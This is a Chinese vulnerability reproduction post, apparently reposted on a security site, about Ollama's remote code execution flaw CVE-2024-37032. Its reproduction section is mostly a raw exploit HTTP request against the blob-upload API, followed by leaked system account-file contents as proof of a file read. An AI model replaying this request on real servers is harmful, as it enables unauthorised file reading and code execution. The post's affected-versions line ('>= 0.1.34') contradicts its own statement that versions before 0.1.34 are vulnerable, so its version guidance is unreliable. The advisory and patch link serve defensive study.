Ollama远程代码执行漏洞(CVE-2024-37032)

admin 2024年9月27日21:20:00评论9 views字数 1412阅读4分42秒阅读模式
0x01漏洞介绍
Ollama远程代码执行漏洞(CVE-2024-37032)

Ollama是Ollama开源的一个可以在本地启动并运行的大型语言模型。

Ollama 0.1.34之前版本存在安全漏洞,该漏洞源于在获取模型路径时不验证摘要的格式,会错误处理测试用例。没有强制身份验证的Ollama服务器上,攻击者可通过操控服务器接口下载恶意文件,从而导致远程代码执行。

0x02影响版本

Ollama >= 0.1.34

Ollama远程代码执行漏洞(CVE-2024-37032)

0x03漏洞复现

1.访问漏洞环境

Ollama远程代码执行漏洞(CVE-2024-37032)

2.对漏洞进行复现

POC 

漏洞复现

PATCH /v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04?_state=eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D HTTP/1.1Host: 127.0.0.1User-Agent: ollama/0.1.33 (amd64 linux) Go/go1.22.1Content-Length: 501Content-Range: 0-500Content-Type: application/octet-streamX-Redirect-Uploads: 1Accept-Encoding: gziproot:*:19823:0:99999:7:::daemon:*:19823:0:99999:7:::bin:*:19823:0:99999:7:::sys:*:19823:0:99999:7:::sync:*:19823:0:99999:7:::games:*:19823:0:99999:7:::man:*:19823:0:99999:7:::lp:*:19823:0:99999:7:::mail:*:19823:0:99999:7:::news:*:19823:0:99999:7:::uucp:*:19823:0:99999:7:::proxy:*:19823:0:99999:7:::www-data:*:19823:0:99999:7:::backup:*:19823:0:99999:7:::list:*:19823:0:99999:7:::irc:*:19823:0:99999:7:::gnats:*:19823:0:99999:7:::nobody:*:19823:0:99999:7:::_apt:*:19823:0:99999:7:::

/etc/passwd文件读取成功

Ollama远程代码执行漏洞(CVE-2024-37032)

3.流量数据

HEAD

Ollama远程代码执行漏洞(CVE-2024-37032)

响应数据

Ollama远程代码执行漏洞(CVE-2024-37032)

成功执行

Ollama远程代码执行漏洞(CVE-2024-37032)

0x04修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://github.com/ollama/ollama/releases/tag/v0.1.41https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月27日21:20:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Ollama远程代码执行漏洞(CVE-2024-37032)https://cn-sec.com/archives/3216110.html

发表评论

匿名网友 填写信息